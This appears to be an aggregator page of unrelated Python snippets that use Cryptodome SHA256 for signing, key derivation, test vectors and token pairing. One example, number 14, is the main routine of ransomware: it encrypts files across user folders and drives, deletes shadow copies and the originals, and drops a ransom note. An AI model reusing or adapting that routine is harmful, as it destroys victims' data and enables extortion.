Exemplo n.º 1
0
def _generate_domain(L, randfunc):
    """Generate a new set of DSA domain parameters"""

    N = { 1024:160, 2048:224, 3072:256 }.get(L)
    if N is None:
        raise ValueError("Invalid modulus length (%d)" % L)

    outlen = SHA256.digest_size * 8
    n = (L + outlen - 1) // outlen - 1  # ceil(L/outlen) -1
    b_ = L - 1 - (n * outlen)

    # Generate q (A.1.1.2)
    q = Integer(4)
    upper_bit = 1 << (N - 1)
    while test_probable_prime(q, randfunc) != PROBABLY_PRIME:
        seed = randfunc(64)
        U = Integer.from_bytes(SHA256.new(seed).digest()) & (upper_bit - 1)
        q = U | upper_bit | 1

    assert(q.size_in_bits() == N)

    # Generate p (A.1.1.2)
    offset = 1
    upper_bit = 1 << (L - 1)
    while True:
        V = [ SHA256.new(seed + Integer(offset + j).to_bytes()).digest()
              for j in iter_range(n + 1) ]
        V = [ Integer.from_bytes(v) for v in V ]
        W = sum([V[i] * (1 << (i * outlen)) for i in iter_range(n)],
                (V[n] & ((1 << b_) - 1)) * (1 << (n * outlen)))

        X = Integer(W + upper_bit) # 2^{L-1} < X < 2^{L}
        assert(X.size_in_bits() == L)

        c = X % (q * 2)
        p = X - (c - 1)  # 2q divides (p-1)
        if p.size_in_bits() == L and \
           test_probable_prime(p, randfunc) == PROBABLY_PRIME:
               break
        offset += n + 1

    # Generate g (A.2.3, index=1)
    e = (p - 1) // q
    for count in itertools.count(1):
        U = seed + b"ggen" + bchr(1) + Integer(count).to_bytes()
        W = Integer.from_bytes(SHA256.new(U).digest())
        g = pow(W, e, p)
        if g != 1:
            break

    return (p, q, g, seed)
Exemplo n.º 2
0
    def _sign(self, unsigned_string):
        """
        通过如下方法调试签名
        方法1
            key = rsa.PrivateKey.load_pkcs1(open(self._app_private_key_path).read())
            sign = rsa.sign(unsigned_string.encode("utf8"), key, "SHA-1")
            # base64 编码,转换为unicode表示并移除回车
            sign = base64.encodebytes(sign).decode("utf8").replace("\n", "")
        方法2
            key = RSA.importKey(open(self._app_private_key_path).read())
            signer = PKCS1_v1_5.new(key)
            signature = signer.sign(SHA.new(unsigned_string.encode("utf8")))
            # base64 编码,转换为unicode表示并移除回车
            sign = base64.encodebytes(signature).decode("utf8").replace("\n", "")
        方法3
            echo "abc" | openssl sha1 -sign alipay.key | openssl base64

        """
        # 开始计算签名
        key = self.app_private_key
        signer = PKCS1_v1_5.new(key)
        if self._sign_type == "RSA":
            signature = signer.sign(SHA.new(b(unsigned_string)))
        else:
            signature = signer.sign(SHA256.new(b(unsigned_string)))
        # base64 编码,转换为unicode表示并移除回车
        sign = encodebytes(signature).decode("utf8").replace("\n", "")
        return sign
Exemplo n.º 3
0
    def _get_filekey(self):
        """This method creates a key from a keyfile."""

        if not os.path.exists(self.keyfile):
            raise KPError('Keyfile not exists.')
        try:
            with open(self.keyfile, 'rb') as handler:
                handler.seek(0, os.SEEK_END)
                size = handler.tell()
                handler.seek(0, os.SEEK_SET)

                if size == 32:
                    return handler.read(32)
                elif size == 64:
                    try:
                        return binascii.unhexlify(handler.read(64))
                    except (TypeError, binascii.Error):
                        handler.seek(0, os.SEEK_SET)

                sha = SHA256.new()
                while True:
                    buf = handler.read(2048)
                    sha.update(buf)
                    if len(buf) < 2048:
                        break
                return sha.digest()
        except IOError as e:
            raise KPError('Could not read file: %s' % e)
Exemplo n.º 4
0
 def verify(self, message: bytes, signature: bytes) -> bool:
     h = SHA256.new(message)
     try:
         pkcs1_15.new(self.public_key).verify(h, signature) # type: ignore
         return True
     except (ValueError, TypeError):
         return False
Exemplo n.º 5
0
 def sign_transaction(self, sender, recipient, amount):
     signer = PKCS1_v1_5.new(RSA.importKey(
         binascii.unhexlify(self.private_key)))
     h = SHA256.new((str(sender) + str(recipient) +
                     str(amount)).encode('utf8'))
     signature = signer.sign(h)
     return binascii.hexlify(signature).decode('ascii')
Exemplo n.º 6
0
    def _transform_key(self, masterkey):
        """This method creates the key to decrypt the database"""

        aes = AES.new(self._transf_randomseed, AES.MODE_ECB)

        # Encrypt the created hash
        for _ in range(self._key_transf_rounds):
            masterkey = aes.encrypt(masterkey)

        # Finally, hash it again...
        sha_obj = SHA256.new()
        sha_obj.update(masterkey)
        masterkey = sha_obj.digest()
        # ...and hash the result together with the randomseed
        sha_obj = SHA256.new()
        sha_obj.update(self._final_randomseed + masterkey)
        return sha_obj.digest()
Exemplo n.º 7
0
    def create_pairing_response_by_serial(self, user_token_id):

        """
        Creates a base64-encoded pairing response that identifies
        the token by its serial

        :param user_token_id: the token id (primary key for the user token db)
        :returns base64 encoded pairing response
        """

        token_serial = self.tokens[user_token_id]['serial']
        server_public_key = self.tokens[user_token_id]['server_public_key']
        partition = self.tokens[user_token_id]['partition']

        # ------------------------------------------------------------------ --

        # assemble header and plaintext

        header = struct.pack('<bI', PAIR_RESPONSE_VERSION, partition)

        pairing_response = b''
        pairing_response += struct.pack('<bI', TYPE_PUSHTOKEN, user_token_id)

        pairing_response += self.public_key

        pairing_response += token_serial.encode('utf8') + b'\x00\x00'
        pairing_response += self.gda + b'\x00'

        signature = crypto_sign_detached(pairing_response, self.secret_key)
        pairing_response += signature

        # ------------------------------------------------------------------ --

        # create public diffie hellman component
        # (used to decrypt and verify the reponse)

        r = os.urandom(32)
        R = calc_dh_base(r)

        # ------------------------------------------------------------------ --

        # derive encryption key and nonce

        server_public_key_dh = dsa_to_dh_public(server_public_key)
        ss = calc_dh(r, server_public_key_dh)
        U = SHA256.new(ss).digest()
        encryption_key = U[0:16]
        nonce = U[16:32]

        # ------------------------------------------------------------------ --

        # encrypt in EAX mode

        cipher = AES.new(encryption_key, AES.MODE_EAX, nonce)
        cipher.update(header)
        ciphertext, tag = cipher.encrypt_and_digest(pairing_response)

        return encode_base64_urlsafe(header + R + ciphertext + tag)
Exemplo n.º 8
0
 def _verify(self, raw_content, signature):
     # 开始计算签名
     key = self.alipay_public_key
     signer = PKCS1_v1_5.new(key)
     if self._sign_type == "RSA":
         digest = SHA.new()
     else:
         digest = SHA256.new()
     digest.update(raw_content.encode("utf8"))
     if signer.verify(digest, decodebytes(signature.encode("utf8"))):
         return True
     return False
Exemplo n.º 9
0
    def runTest(self):
        key = b'0' * 16
        h = SHA256.new()

        for length in range(160):
            nonce = '{0:04d}'.format(length).encode('utf-8')
            data = bchr(length) * length
            cipher = AES.new(key, AES.MODE_GCM, nonce=nonce, **self._extra_params)
            ct, tag = cipher.encrypt_and_digest(data)
            h.update(ct)
            h.update(tag)

        self.assertEqual(h.hexdigest(), "7b7eb1ffbe67a2e53a912067c0ec8e62ebc7ce4d83490ea7426941349811bdf4")
Exemplo n.º 10
0
    def test_asn1_encoding(self):
        """Verify ASN.1 encoding"""

        self.description = "ASN.1 encoding test"
        hash_obj = SHA256.new()
        signer = DSS.new(self.key_priv, 'fips-186-3', 'der')
        signature = signer.sign(hash_obj)

        # Verify that output looks like a DER SEQUENCE
        self.assertEqual(bord(signature[0]), 48)
        signer.verify(hash_obj, signature)

        # Verify that ASN.1 parsing fails as expected
        signature = bchr(7) + signature[1:]
        self.assertRaises(ValueError, signer.verify, hash_obj, signature)
Exemplo n.º 11
0
    def runTest(self):
        """SHA256: 512/520 MiB test"""
        from Cryptodome.Hash import SHA256
        zeros = bchr(0x00) * (1024*1024)

        h = SHA256.new(zeros)
        for i in range(511):
            h.update(zeros)

        # This test vector is from PyCrypto's old testdata.py file.
        self.assertEqual('9acca8e8c22201155389f65abbf6bc9723edc7384ead80503839f49dcc56d767', h.hexdigest()) # 512 MiB

        for i in range(8):
            h.update(zeros)

        # This test vector is from PyCrypto's old testdata.py file.
        self.assertEqual('abf51ad954b246009dfe5a50ecd582fd5b8f1b8b27f30393853c3ef721e7fa6e', h.hexdigest()) # 520 MiB
Exemplo n.º 12
0
    def test1(self):
        q = 0x4000000000000000000020108A2E0CC0D99F8A5EFL
        x = 0x09A4D6792295A7F730FC3F2B49CBC0F62E862272FL
        p = 2 * q + 1
        y = pow(2, x, p)
        key = DSA.construct([pow(y, 2, p), 2L, p, q, x], False)
        signer = DSS.new(key, 'deterministic-rfc6979')

        # Test _int2octets
        self.assertEqual(hexlify(signer._int2octets(x)),
            b("009a4d6792295a7f730fc3f2b49cbc0f"
              "62e862272f"))

        # Test _bits2octets
        h1 = SHA256.new(b("sample")).digest()
        self.assertEqual(hexlify(signer._bits2octets(h1)),
            b("01795edf0d54db760f156d0dac04c032"
              "2b3a204224"))
Exemplo n.º 13
0
def concat_sha256(secret, dk_len, other_info):
    """
    The Concat KDF, using SHA256 as the hash function.  

    Note: Does not validate that otherInfo meets the requirements of 
    SP800-56A.

    :param secret: The shared secret value
    :param dk_len: Length of key to be derived, in bits
    :param other_info: Other info to be incorporated (see SP800-56A)
    :return: The derived key
    """
    dkm = b''
    dk_bytes = int(ceil(dk_len / 8.0))
    counter = 0
    while len(dkm) < dk_bytes:
        counter += 1
        counter_bytes = pack("!I", counter)
        dkm += SHA256.new(counter_bytes + secret + other_info ).digest()
    return dkm[:dk_bytes]
Exemplo n.º 14
0
def main():
    #main method where major logic happens, user's files get encrypted and they have the chance to get password to decrypt them
    #or lose them all
    global password, encFiles, filecounter
    encFiles = []
    #password = input("Enter the password: "******"test"
    filecounter = 0
    listdir = (userhome + '\\Contacts\\', userhome + '\\Documents\\',
               userhome + '\\Downloads\\', userhome + '\\Favorites\\',
               userhome + '\\Links\\', userhome + '\\My Documents\\',
               userhome + '\\My Music\\', userhome + '\\My Pictures\\',
               userhome + '\\My Videos\\', 'C:\\', 'D:\\', 'E:\\', 'F:\\',
               'G:\\', 'I:\\', 'J:\\', 'K:\\', 'L:\\', 'M:\\', 'N:\\', 'O:\\',
               'P:\\', 'Q:\\', 'R:\\', 'S:\\', 'T:\\', 'U:\\', 'V:\\', 'W:\\',
               'X:\\', 'Y:\\', 'Z:\\')
    for possibleDir in listdir:
        #for possibleDir on system
        path = files2crypt(possibleDir)
        for file in path:
            filecounter += 1
            encFiles.append(file)  #add to encFiles to encrypt
    register()
    set_wallpaper()
    destroy_shadow_copy()
    write_instruction(userhome + '\\Desktop\\',
                      'txt')  #write instructions to user's desktop
    os.startfile(userhome + '\\Desktop\\README_FOR_DECRYPT.txt')
    for file in encFiles:
        #iterate through files in Encfiles and encrypt them
        if os.path.basename(file).startswith("(encrypted)"):
            print("%s is already encrypted" % str(file))
            pass
        elif file == os.path.join(os.getcwd(), sys.argv[0]):
            #makes sure current program does not get encrypted
            pass
        else:
            encrypt(SHA256.new(password).digest(), str(file))
            # print("Done encrypting %s" % str(file))
            os.remove(file)
    while filecounter / 2 > 0:
        choice = input("Do you want to (T)ry your luck: ? or (D)ecrypt file")
        if choice == "T":
            try_your_luck()
        elif choice == "D":
            filename = input("Enter the filename to decrypt: ")
            if not os.path.exists(filename):
                print("The file does not exist")
                continue
                #sys.exit(0)
            elif not filename.startswith("(encrypted)"):
                print("%s is already not encrypted" % filename)
                continue
                #sys.exit()
            else:
                decrypt(SHA256.new(password).digest(), filename)
                print("Done decrypting %s" % filename)
                # os.remove(filename)
                filecounter -= 1
        else:
            print("Please choose a valid command.")
            continue
 def create_digital_signature(self, plaintext):
     digest = SHA256.new(plaintext.encode())  # plaintext is in bytes
     signer = pkcs1_15.new(RSA.import_key(self.client_private_key.encode()))
     signature = signer.sign(digest)
     return signature
Exemplo n.º 16
0
 def verify_transaction(transaction):
     public_key = RSA.importKey(binascii.unhexlify(transaction.sender))
     verifier = PKCS1_v1_5.new(public_key)
     h = SHA256.new((str(transaction.sender) + str(transaction.recipient) +
                     str(transaction.amount)).encode('utf8'))
     return verifier.verify(h, binascii.unhexlify(transaction.signature))
Exemplo n.º 17
0
#Generate
secret = b'secretkey'
h = HMAC.new(secret, digestmod=SHA256)
message = b'Hello'
h.update(message)
print("h.hexdigest():")
print(h.hexdigest())
#Validate
h1 = HMAC.new(secret, digestmod=SHA256)
h1.update(message)
try:
    h1.hexverify(h.hexdigest())
    print("The message is authentic")
except ValueError:
    print("The message or key is invalid")

#Generate/verify RSA digital signature:
print("Generate/verify RSA digital signature test:")
#Generate
message = b'Hello'
key = RSA.generate(2048)
h = SHA256.new(message)
signature = pkcs1_15.new(key).sign(h)
#Validate
h1 = SHA256.new(message)
try:
    pkcs1_15.new(key).verify(h1, signature)
    print("The signature is valid")
except ValueError:
    print("The signature or key is invalid")
Exemplo n.º 18
0
def query(action=None,
          command=None,
          args=None,
          method="GET",
          location=None,
          data=None):
    """
    Make a web call to Joyent
    """
    user = config.get_cloud_config_value("user",
                                         get_configured_provider(),
                                         __opts__,
                                         search_global=False)

    if not user:
        log.error(
            "username is required for Joyent API requests. Please set one in your provider configuration"
        )

    password = config.get_cloud_config_value("password",
                                             get_configured_provider(),
                                             __opts__,
                                             search_global=False)

    verify_ssl = config.get_cloud_config_value(
        "verify_ssl",
        get_configured_provider(),
        __opts__,
        search_global=False,
        default=True,
    )

    ssh_keyfile = config.get_cloud_config_value(
        "private_key",
        get_configured_provider(),
        __opts__,
        search_global=False,
        default=True,
    )

    if not ssh_keyfile:
        log.error(
            "ssh_keyfile is required for Joyent API requests.  Please set one in your provider configuration"
        )

    ssh_keyname = config.get_cloud_config_value(
        "keyname",
        get_configured_provider(),
        __opts__,
        search_global=False,
        default=True,
    )

    if not ssh_keyname:
        log.error(
            "ssh_keyname is required for Joyent API requests.  Please set one in your provider configuration"
        )

    if not location:
        location = get_location()

    api_host_suffix = config.get_cloud_config_value(
        "api_host_suffix",
        get_configured_provider(),
        __opts__,
        search_global=False,
        default=JOYENT_API_HOST_SUFFIX,
    )

    path = get_location_path(location=location,
                             api_host_suffix=api_host_suffix)

    if action:
        path += action

    if command:
        path += "/{}".format(command)

    log.debug("User: '******' on PATH: %s", user, path)

    if (not user) or (not ssh_keyfile) or (not ssh_keyname) or (not location):
        return None

    timenow = datetime.datetime.utcnow()
    timestamp = timenow.strftime("%a, %d %b %Y %H:%M:%S %Z").strip()
    rsa_key = salt.crypt.get_rsa_key(ssh_keyfile, None)
    if HAS_M2:
        md = EVP.MessageDigest("sha256")
        md.update(timestamp.encode(__salt_system_encoding__))
        digest = md.final()
        signed = rsa_key.sign(digest, algo="sha256")
    else:
        rsa_ = PKCS1_v1_5.new(rsa_key)
        hash_ = SHA256.new()
        hash_.update(timestamp.encode(__salt_system_encoding__))
        signed = rsa_.sign(hash_)
    signed = base64.b64encode(signed)
    user_arr = user.split("/")
    if len(user_arr) == 1:
        keyid = "/{}/keys/{}".format(user_arr[0], ssh_keyname)
    elif len(user_arr) == 2:
        keyid = "/{}/users/{}/keys/{}".format(user_arr[0], user_arr[1],
                                              ssh_keyname)
    else:
        log.error("Malformed user string")

    headers = {
        "Content-Type":
        "application/json",
        "Accept":
        "application/json",
        "X-Api-Version":
        JOYENT_API_VERSION,
        "Date":
        timestamp,
        "Authorization":
        'Signature keyId="{}",algorithm="rsa-sha256" {}'.format(
            keyid, signed.decode(__salt_system_encoding__)),
    }

    if not isinstance(args, dict):
        args = {}

    # post form data
    if not data:
        data = salt.utils.json.dumps({})

    return_content = None
    result = salt.utils.http.query(
        path,
        method,
        params=args,
        header_dict=headers,
        data=data,
        decode=False,
        text=True,
        status=True,
        headers=True,
        verify_ssl=verify_ssl,
        opts=__opts__,
    )
    log.debug("Joyent Response Status Code: %s", result["status"])
    if "headers" not in result:
        return [result["status"], result["error"]]

    if "Content-Length" in result["headers"]:
        content = result["text"]
        return_content = salt.utils.yaml.safe_load(content)

    return [result["status"], return_content]
Exemplo n.º 19
0
def get_key(password):
    h = SHA256.new()
    h.update(password)
    return h.digest()
Exemplo n.º 20
0
file = open("config.json",'r')
options = json.loads(file.read())
file.close()

#load Globals
HostIP = options["hostIP"]
HostPort = options["hostPort"]
PrivateKey = ECC.import_key(bytes(bytearray.fromhex(options["privateKeyHex"])))
Nodes = {}

del(options)

PublicKeyHex = ((PrivateKey.public_key().export_key(format='DER', compress=True)).hex()).ljust(128, "0") #TODO this is shortcut, have actual machinery to swap out encryption implimentations
message = PublicKeyHex + ":" + str(ProtocalVersion) + ":" + "bootstrap" + ":" + str(ProgramName) + ":" + str(ProgramVersion) + ":"
message = message.ljust(192, ' ')
h1 = SHA256.new(message.encode(encoding='utf-8'))
signer = DSS.new(PrivateKey, 'fips-186-3')
signature = signer.sign(h1)
Handshake = message.encode(encoding='utf-8') + signature

print(Handshake)
print(len(Handshake))
print(Handshake.hex())

print(PublicKeyHex)

#start listening
socket1 = socket.socket()
socket1.bind((HostIP, HostPort))
socket1.settimeout(1)
Exemplo n.º 21
0
def sign(privateKey, tx, index):
    # Takes msg and sk and outputs signature for msg
    hashMsg = SHA256.new(tx.getRawDataToSign(index))
    signer = PKCS1_v1_5.new(privateKey)
    signature = signer.sign(hashMsg)
    return signature
Exemplo n.º 22
0
 def sign_transaction(self, sender, recipient, amount):
     signer =  PKCS1_v1_5.new(RSA.importKey(binascii.unhexlify(self.private_key)))
     h = SHA256.new((str(sender) + str(recipient) + str(amount)).encode('utf8'))
     signature = signer.sign(h)
     return binascii.hexlify(signature).decode('ascii')
Exemplo n.º 23
0
print("PrivateKey:\n" + str(privateKey.hex()))
print("Length: " + str(len(privateKey)))
publicKey1 = key.public_key().export_key(format='DER', compress=True)
print("PublicKey Compressed:\n" + str(publicKey1.hex()))
print("Length: " + str(len(publicKey1)))
publicKey2 = key.public_key().export_key(format='DER', compress=False)
print("PublicKey:\n" + str(publicKey2.hex()))
print("Length: " + str(len(publicKey2)))


#sign a message
# http://pycryptodome.readthedocs.io/en/latest/src/signature/dsa.html
from Cryptodome.Hash import SHA256 #can use SHA512 (and others) as well
from Cryptodome.Signature import DSS
message = "This is a test".ljust(256,"_")
h1 = SHA256.new(message.encode())
print("Message hash generator: " + str(h1))

signer = DSS.new(key, 'fips-186-3')
signature = signer.sign(h1)
print("Signiture:\n" + str(signature.hex()))
print("Length: " + str(len(signature)))

'''
test = bytearray(len(publicKey1))
for i in range(0,len(publicKey1)):
    if i != 56:
        test[i] = publicKey1[i]
    else:
        test[i] = 0
test = bytes(test)
Exemplo n.º 24
0
    def get_transaction(contract, preimage, first_valid, last_valid, gh, fee):
        """
        Return a transaction which will release funds if a matching preimage
        is used.

        Args:
            contract (bytes): the contract containing information, should be
                received from payer
            preimage (str): the preimage of the hash in base64
            first_valid (int): first valid round for the transactions
            last_valid (int): last valid round for the transactions
            gh (str): genesis hash in base64
            fee (int): fee per byte

        Returns:
            LogicSigTransaction: transaction to claim algos from
                contract account
        """
        _, ints, bytearrays = logic.read_program(contract)
        if not (len(ints) == 4 and len(bytearrays) == 3):
            raise error.WrongContractError("split")
        max_fee = ints[0]
        hash_function = contract[-15]
        expected_hash_image = bytearrays[1]
        if hash_function == 1:
            hash_image = SHA256.new()
            hash_image.update(base64.b64decode(preimage))
            if hash_image.digest() != expected_hash_image:
                raise error.TemplateInputError(
                    "the hash of the preimage does not match the expected "
                    "hash image using hash function sha256")
        elif hash_function == 2:
            hash_image = keccak.new(digest_bits=256)
            hash_image.update(base64.b64decode(preimage))
            print(hash_image.digest())
            print(expected_hash_image)
            if hash_image.digest() != expected_hash_image:
                raise error.TemplateInputError(
                    "the hash of the preimage does not match the expected "
                    "hash image using hash function keccak256")
        else:
            raise error.TemplateInputError(
                "an invalid hash function was provided in the contract")

        receiver = encoding.encode_address(bytearrays[0])

        lsig = transaction.LogicSig(contract, [base64.b64decode(preimage)])
        txn = transaction.PaymentTxn(logic.address(contract),
                                     fee,
                                     first_valid,
                                     last_valid,
                                     gh,
                                     None,
                                     0,
                                     close_remainder_to=receiver)

        if txn.fee > max_fee:
            raise error.TemplateInputError(
                "the transaction fee should not be greater than " +
                str(max_fee))

        ltxn = transaction.LogicSigTransaction(txn, lsig)
        return ltxn
Exemplo n.º 25
0
def encrypt_hash(
        messages):  # check this moment and be careful messages only STRING !!!
    data_hash = SHA256.new(messages.encode())
    return data_hash
Exemplo n.º 26
0
    def send_message(self, text):
        message = self.ui.textEdit.toPlainText(
        )  ##############################

        if message != '':
            text = self.ui.label_7.text()
            self.ui.textEdit.setPlaceholderText(
                "Write and press ALT to send a message. . .")
            with open('one.json') as f:
                templates_2 = json.load(f)
            for i in templates_2:
                if text == i['name']:
                    to_json_3 = {
                        "ID_purse": i['ID_purse'],
                        "name": i['name']
                    }  # ЗДЕСЬ ИДЕТ ПЕРЕСТАНОВКА ЧЕЛОВЕКУ КОТОРОМУ МЫ НАПИСАЛИ НА 1 МЕСТО
                    templates_2.remove(to_json_3)
                    templates_2.insert(0, to_json_3)
                    with open('one.json', 'w') as f:
                        json.dump(templates_2, f,
                                  ensure_ascii=False)  # ВПИСЫВАЕМ
            self.rewrite_users()

            self.cleantextEdit()
            #        user_name = "andrey"
            now = datetime.datetime.now()
            time = now.strftime("%H:%M")

            message = message.rstrip(
                "\n")  # чущу блядские мусорные \n в конце мейла
            ############################################################################
            # СЮДА ВСТАВИТЬ ФУНКЦИЮ ОТПРАВКИ МЕЙЛА
            message = message + "\n"
            #  print(message)

            self.widget_5 = QtWidgets.QWidget(self.ui.scrollAreaWidgetContents)
            self.widget_5.setMinimumSize(QtCore.QSize(300, 90))
            self.widget_5.setMaximumSize(QtCore.QSize(300, 100))
            self.widget_5.setLayoutDirection(QtCore.Qt.RightToLeft)
            self.widget_5.setStyleSheet(
                "background-color: rgb(170, 255, 255);")
            self.widget_5.setObjectName("widget_5")
            self.verticalLayout_28 = QtWidgets.QVBoxLayout(self.widget_5)
            self.verticalLayout_28.setContentsMargins(11, 11, 11, 11)
            self.verticalLayout_28.setObjectName("verticalLayout_28")
            self.label_13 = QtWidgets.QLabel(self.widget_5)
            self.label_13.setStyleSheet("font: 10pt \"Lucida Sans\";\n"
                                        "color: rgb(74, 128, 255);\n"
                                        "")
            self.label_13.setObjectName("label_13")
            self.label_13.setText("you   in  " + time)  # user_name +
            self.verticalLayout_28.addWidget(self.label_13)
            self.textBrowser_5 = QtWidgets.QTextBrowser(self.widget_5)
            self.textBrowser_5.setObjectName("textBrowser_5")
            self.textBrowser_5.setHtml(
                "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n"
                "<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n"
                "p, li { white-space: pre-wrap; }\n"
                "</style></head><body style=\" font-family:\'Lucida Sans\'; font-size:7.8pt; font-weight:400; font-style:normal;\">\n"
                "<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">что то тут должно быть но я хз</p></body></html>"
            )
            self.textBrowser_5.setVerticalScrollBarPolicy(
                QtCore.Qt.ScrollBarAlwaysOff)  #############################
            self.textBrowser_5.setText(message)
            self.verticalLayout_28.addWidget(self.textBrowser_5)
            self.ui.verticalLayout_41.addWidget(self.widget_5)
            ################################################################################3
            status_now = "send"  # ТОПО ПОЛУЧАЕТ ИЛИ ПРИНИМАЕТ        В ЭТОЙ ФУНКЦИИ СТАТУС ПОСТОЯННЫЙ, Т.К МЫ ЗАПИСЫВАЕМ СООБЩ ОТПРАВЛЕННЫЕ САМИМ "АДМИНОМ"  SEND сенд имеется ввиду получатель, GET ОТПРАВИТЕЛЬ, и через проверку этого параметра сообщ будет висеть справа или слева
            with open('one.json') as f:
                templates_2 = json.load(f)
            for i in templates_2:
                #        print (i['name'])
                if text == i['name']:
                    name_of_new_purse = i["ID_purse"]
            with open('wallet-{}.txt'.format(node.port), mode='r') as f:
                keys = f.readlines()
                private_key = keys[1]
            signer = PKCS1_v1_5.new(
                RSA.importKey(binascii.unhexlify(private_key)))
            h = SHA256.new((str(node.open_key()) + str(name_of_new_purse) +
                            str(cost) + str(message)).encode('utf8'))
            signature_1 = signer.sign(h)
            signature = binascii.hexlify(signature_1).decode('ascii')
            to_json_message = {
                "status": status_now,
                "ID_purse": name_of_new_purse,
                "message": message,
                "time": "delivering",
                "signature": signature
            }

            print(to_json_message)
            with open('two.json') as f:
                templates_4 = json.load(f)  # СЧИТЫВАЕМ
            templates_4.append(to_json_message)  # ДОПОЛНЯЕМ

            with open('two.json', 'w') as f:
                json.dump(templates_4, f, ensure_ascii=False)  # ВПИСЫВАЕМ
            node.add_transaction_client(name_of_new_purse, 0.01, message)
            ############################################################################
        else:
            self.ui.textEdit.setPlaceholderText("Please, enter the message...")
Exemplo n.º 27
0
 def test_positive_1(self):
     key = RSA.import_key(self.rsa_key)
     h = SHA256.new(self.msg)
     verifier = pss.new(key)
     verifier.verify(h, self.tag)
Exemplo n.º 28
0
def signer(privateKey, publicKey, menuEncoded):
    data = menuEncoded
    hashedMessage = SHA256.new(data)
    signature = pss.new(privateKey).sign(hashedMessage)
    return signature
Exemplo n.º 29
0
 def test_negative_2(self):
     key = RSA.import_key(self.rsa_key)
     h = SHA256.new(self.msg)
     verifier = pss.new(key, salt_bytes=1000)
     tag = bytearray(self.tag)
     self.assertRaises(ValueError, verifier.verify, h, tag)
Exemplo n.º 30
0
from Cryptodome.Hash import SHA256
from Cryptodome.PublicKey import RSA
from Cryptodome.Signature import pkcs1_15
import os

if __name__ == '__main__':
    filename = input("input document filename: ")
    action = input("input action (sign or check):")
    if action == 'sign':
        try:
            print("getting hash of the message...")
            h = SHA256.new()
            with open(filename, "rb") as f:
                for chunk in iter(lambda: f.read(4096), b""):
                    h.update(chunk)

            print("creating public and private keys...")
            pubkeyfilename = input("where to save public key (" + filename +
                                   ".key.pub by default): ")
            if (pubkeyfilename == ""):
                pubkeyfilename = filename + ".key.pub"
            key = RSA.generate(1024, os.urandom)
            print("saving public key to ", pubkeyfilename, "...")
            with open(pubkeyfilename, "wb") as pubkeyfile:
                pubkeyfile.write(key.publickey().export_key('PEM'))
            print("keys are created")

            print("creating signature...")
            signaturefilename = input("where to save signature (" + filename +
                                      ".signature by default): ")
            if (signaturefilename == ""):
Exemplo n.º 31
0
    def create_challenge_url(self,
                             transaction_id,
                             content_type,
                             message,
                             callback_url,
                             callback_sms_number,
                             use_compression=False,
                             reset_url=False):
        """
        creates a challenge url (looking like lseqr://chal/<base64string>)
        from a challenge dictionary as provided by Challanges.create_challenge
        in lib.challenge

        the version identifier of the challenge url is currently hardcoded
        to 1.
        """

        serial = self.getSerial()

        if content_type is None:
            content_type = CONTENT_TYPE_FREE

        # ------------------------------------------------------------------- --

        # sanity/format checks

        if content_type not in [
                CONTENT_TYPE_PAIRING, CONTENT_TYPE_AUTH, CONTENT_TYPE_FREE
        ]:
            raise InvalidFunctionParameter(
                'content_type', 'content_type must '
                'be CONTENT_TYPE_PAIRING, '
                'CONTENT_TYPE_AUTH or '
                'CONTENT_TYPE_FREE.')

        if content_type == CONTENT_TYPE_PAIRING and \
           message != serial:
            raise InvalidFunctionParameter(
                'message', 'message must be equal '
                'to serial in pairing mode')

        if content_type == CONTENT_TYPE_AUTH:
            if '@' not in message:
                raise InvalidFunctionParameter(
                    'message', 'For content type '
                    'auth, message must have format '
                    '<login>@<server>')

        # ------------------------------------------------------------------- --

        #  after the lseqr://chal/ prefix the following data is encoded
        #  in urlsafe base64:

        #            ---------------------------------------------------
        #  fields   | version | user token id |  R  | ciphertext | MAC |
        #            ---------------------------------------------------
        #           |          header         |     |    EAX enc data  |
        #            ---------------------------------------------------
        #  size     |    1    |       4       |  32 |      ?     | 16  |
        #            ---------------------------------------------------
        #

        r = urandom(32)
        R = calc_dh_base(r)

        user_token_id = self.getFromTokenInfo('user_token_id')
        data_header = struct.pack('<bI', QRTOKEN_VERSION, user_token_id)

        # the user public key is saved as base64 in
        # the token info since the byte format is
        # incompatible with the json backend.

        b64_user_public_key = self.getFromTokenInfo('user_public_key')
        user_public_key = b64decode(b64_user_public_key)

        ss = calc_dh(r, user_public_key)
        U1 = SHA256.new(ss).digest()
        U2 = SHA256.new(U1).digest()
        zerome(ss)

        skA = U1[0:16]
        skB = U2[0:16]
        nonce = U2[16:32]
        zerome(U1)
        zerome(U2)

        # ------------------------------------------------------------------- --

        # create plaintext section

        # ------------------------------------------------------------------- --

        # create the bitmap for flags

        flags = 0

        if use_compression:
            flags |= CHALLENGE_HAS_COMPRESSION

        # FIXME: sizecheck for message, callback url, sms number
        # wiki specs are utf-8 byte length (without \0)

        if callback_url is not None:
            flags |= CHALLENGE_HAS_URL

        if callback_sms_number is not None:
            flags |= CHALLENGE_HAS_SMS_NUMBER

        if (content_type == CONTENT_TYPE_PAIRING):
            flags |= CHALLENGE_HAS_SIGNATURE

        if reset_url:
            flags |= CHALLENGE_SHOULD_RESET_URL
            flags |= CHALLENGE_HAS_SIGNATURE

        #------------------------------------------------------------------- --

        # generate plaintext header

        #            ----------------------------------------------
        #  fields   | content_type  | flags | transaction_id | ... |
        #            ----------------------------------------------
        #  size     |       1       |   1   |        8       |  ?  |
        #            ----------------------------------------------

        transaction_id = transaction_id_to_u64(transaction_id)
        pt_header = struct.pack('<bbQ', content_type, flags, transaction_id)
        plaintext = pt_header

        #------------------------------------------------------------------- --

        # create data package

        #            -------------------------------
        #  fields   | header  | message | NUL | ... |
        #            -------------------------------
        #  size     |   10    |    ?    |  1  |  ?  |
        #            -------------------------------

        data_package = b''
        utf8_message = message.encode('utf8')

        # enforce max sizes specified by protocol

        if content_type == CONTENT_TYPE_FREE and len(utf8_message) > 511:
            raise ParameterError('message (encoded as utf8) can only be 511 '
                                 'characters long')

        elif content_type == CONTENT_TYPE_PAIRING and len(utf8_message) > 63:
            raise InvalidFunctionParameter(
                'message', 'max string length '
                '(encoded as utf8) is 511 for '
                'content type PAIRING')

        elif content_type == CONTENT_TYPE_AUTH and len(utf8_message) > 511:
            raise InvalidFunctionParameter(
                'message', 'max string length '
                '(encoded as utf8) is 511 for '
                'content type AUTH')

